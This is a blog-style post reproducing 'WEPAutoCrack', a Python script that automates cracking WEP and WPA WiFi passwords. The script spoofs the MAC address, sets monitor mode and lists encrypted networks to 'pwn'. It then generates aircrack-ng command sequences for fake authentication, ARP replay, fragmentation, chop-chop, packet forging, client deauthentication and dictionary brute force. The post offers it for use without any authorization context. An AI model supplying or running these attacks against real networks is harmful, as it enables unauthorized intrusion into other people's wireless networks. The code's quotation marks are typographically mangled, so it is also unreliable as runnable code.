Here is a Python script by zx2c4.
With this script it is possible to crack a WEP WiFi network within minutes.

Please note all applications including aireplay-ng, airodump-ng, aircrack-ng and macchanger must be installed on the linux box. You can use the Backtrack 5 Penetration Testing Distribution with pre-installed cracking software. Backtrack 5 is available at: Offensive Security

Credits:

http://www.zx2c4.com/projects/wepautocrack/

#!/usr/bin/env python

#
# Copyright 2011 Jason A. Donenfeld . All Rights Reserved.
#
#
# ——— WEPAutoCrack ———-
# by zx2c4
# ———————————
#
# This utility terminates disruptive daemons, scans for networks,
# places your wifi card into monitor mode, switches to the right channel,
# fakes a random MAC address, and builds a “choose your own adventure”
# instruction sequence for the particular access point you choose to
# crack, for use with aircrack-ng for cracking WEP passwords, and finally
# resets your daemons once you’ve found a password.
#
# Be sure to look at the pwn() function. There are /etc/init.d/ commands in
# there to shutdown and startup your system’s networking services. Here you
# will find how I have my gentoo box setup, but you’ll likely need to
# change it to suit your own needs. It should be trivial — stopping and
# starting NetworkManager, if you use that, or whatever your situation
# is. There are two “CHANGE ME” blocks below. Find them. Edit them.
#
# greetz to gohu for iwlist parsing code at
# https://bbs.archlinux.org/viewtopic.php?pid=737357
#

import sys
import subprocess
import os

def pwn(interface, network):
print “[+] Shutting down services”

# BEGIN CHANGE ME
os.system(“systemctl stop wpa_supplicant@wlan0.service”)
os.system(“systemctl stop dhcpcd.service”)
os.system(“systemctl stop avahi-daemon.service”)
# END CHANGE ME

print “[+] Acquiring MAC address:”,
f = open(“/sys/class/net/%s/address” % interface, “r”)
realMac = f.read().strip().upper()
f.close()
print realMac

print “[+] Setting fake MAC address”
os.system(“ifconfig %s down” % interface)
os.system(“macchanger -r %s” % interface)
f = open(“/sys/class/net/%s/address” % interface, “r”)
mac = f.read().strip().upper()
f.close()

print “[+] Setting wireless card to channel %s” % network["Channel"]
os.system(“iwconfig %s mode managed” % interface)
os.system(“ifconfig %s up” % interface)
os.system(“iwconfig %s channel %s” % (interface, network["Channel"]))
os.system(“ifconfig %s down” % interface)
os.system(“iwconfig %s mode monitor” % interface)
os.system(“ifconfig %s up” % interface)
os.system(“iwconfig %s” % interface)

if network["Encryption"].startswith(“WEP”):
instructions = “”"
=== Capture IVs ==
airodump-ng -c CHANNEL –bssid BSSID -w output INTERFACE

== Get Deauthetication Packets (Fake Authentication) ==
aireplay-ng -1 0 -e ‘NAME’ -a BSSID -h MAC INTERFACE
OR
aireplay-ng -1 6000 -o 1 -q 10 -e ‘NAME’ -a BSSID -h MAC INTERFACE
* the latter is good for persnikitty stations

== Request ARP Packets ==
aireplay-ng -3 -b BSSID -h MAC INTERFACE
* if successful, skip the next three steps and move to analyze

== Fragmentation Attack (if requesting ARPs didn’t work – no users on network) ==
aireplay-ng -5 -b BSSID -h MAC INTERFACE
* use this packet? yes
* if successful, skip the next step and construct an arp packet

== Chop-Chop Attach (if fragmentation fails) ==
aireplay-ng -4 -b BSSID -h MAC INTERFACE
* use this packet? yes

== Construct ARP Packet ==
packetforge-ng -0 -a BSSID -h MAC -k 255.255.255.255 -l 255.255.255.255 -y fragment-*.xor -w arp-request
* k source, l destination – change for persnikittiness

= Inject Constructed ARP (if fragmentation or chop-chop) ==
aireplay-ng -2 -r arp-request INTERFACE
* use this packet? yes

== Analyze ==
aircrack-ng -z -b BSSID output*.cap
“”"
elif network["Encryption"].startswith(“WPA”):
instructions = “”"
== Collect 4-way Authentication Handshake ==
airodump-ng -c CHANNEL –bssid BSSID -w psk INTERFACE

== Deauthenticate Wireless Client ==
aireplay-ng -0 1 -a BSSID -c CLIENT wlan0

== Brute Force ==
cat /usr/share/dict/* | aircrack-ng -w – -b BSSID psk*.cap
“”"
else:
instructions = “Wrong encryption type”

instructions = instructions.replace(“NAME”, network["Name"]).replace(“BSSID”, network["Address"]).replace(“MAC”, mac).replace(“INTERFACE”, interface).replace(“CHANNEL”, network["Channel"])
proc = subprocess.Popen(“less”, stdin=subprocess.PIPE)
proc.communicate(input=instructions)
proc.wait()

print “[+] Restoring wifi card”
os.system(“ifconfig %s down” % interface)
os.system(“macchanger -m %s %s” % (realMac, interface))
os.system(“iwconfig %s mode managed” % interface)
os.system(“ifconfig %s up” % interface)

print “[+] Starting stopped services”
# BEGIN CHANGE ME
os.system(“systemctl start wpa_supplicant@wlan0.service”)
os.system(“systemctl start dhcpcd.service”)
os.system(“systemctl start avahi-daemon.service”)
# END CHANGE ME

def get_name(cell):
return matching_line(cell, “ESSID:”)[1:-1]

def get_quality(cell):
quality = matching_line(cell, “Quality=”).split()[0].split(‘/’)
return str(int(round(float(quality[0]) / float(quality[1]) * 100))).rjust(3) + ” %”

def get_channel(cell):
return matching_line(cell, “Channel:”)

def get_encryption(cell):
enc = “”
if matching_line(cell, “Encryption key:”) == “off”:
enc = “Open”
else:
for line in cell:
matching = match(line, “IE:”)
if matching != None:
wpa = match(matching, “WPA”)
if wpa != None:
enc = “WPA”
else:
wpa = match(matching, “IEEE 802.11i/WPA2″)
if wpa != None:
enc = “WPA2″
if enc == “”:
enc = “WEP”
return enc

def get_address(cell):
return matching_line(cell, “Address: “)

rules = {“Name”:get_name,
“Quality”: get_quality,
“Channel”: get_channel,
“Encryption”: get_encryption,
“Address”: get_address
}

def sort_cells(cells):
sortby = “Quality”
reverse = True
cells.sort(None, lambda el: el[sortby], reverse)

columns = ["#", "Name", "Address", "Quality", "Channel", "Encryption"]

def matching_line(lines, keyword):
for line in lines:
matching = match(line,keyword)
if matching != None:
return matching
return None

def match(line,keyword):
line = line.lstrip()
length = len(keyword)
if line[:length] == keyword:
return line[length:]
else:
return None

def parse_cell(cell):
parsed_cell = {}
for key in rules:
rule = rules[key]
parsed_cell.update({ key: rule(cell) })
return parsed_cell

def print_table(table):
widths=map(max, map(lambda l:map(len, l), zip(*table)))

justified_table = []
for line in table:
justified_line = []
for i, el in enumerate(line):
justified_line.append(el.ljust(widths[i] + 2))
justified_table.append(justified_line)

for line in justified_table:
for el in line:
print el,
print

def print_cells(cells):
table = [columns]
counter = 1
for cell in cells:
cell_properties=[]
for column in columns:
if column == ‘#’:
cell_properties.append(str(counter))
else:
cell_properties.append(cell[column])
table.append(cell_properties)
counter += 1
print_table(table)

def main():
print “+————————+”
print “+ +”
print “+ WEPAutoCrack +”
print “+ by zx2c4 +”
print “+ +”
print “+————————+”
print
if len(sys.argv) != 2:
print “You must supply the wifi card name as an argument.”
return
if os.getuid() != 0:
print “You must be root.”
return

print “[+] Scanning…”
proc = subprocess.Popen(["iwlist", sys.argv[1], “scanning”], stdout=subprocess.PIPE)
cells=[[]]
parsed_cells=[]
for line in proc.stdout:
cell_line = match(line, “Cell “)
if cell_line != None:
cells.append([])
line = cell_line[-27:]
cells[-1].append(line.rstrip())
cells = cells[1:]
for cell in cells:
parsed_cells.append(parse_cell(cell))
sort_cells(parsed_cells)
encrypted_cells = []
for cell in parsed_cells:
if cell["Encryption"] != “Open”:
encrypted_cells.append(cell)

print_cells(encrypted_cells)
print
try:
network = int(raw_input(“Which network would you like to pwn? [1-%s] ” % len(encrypted_cells)))
except:
network = -1

if network > len(encrypted_cells) or network < 1:
return

pwn(sys.argv[1], encrypted_cells[network - 1])

main()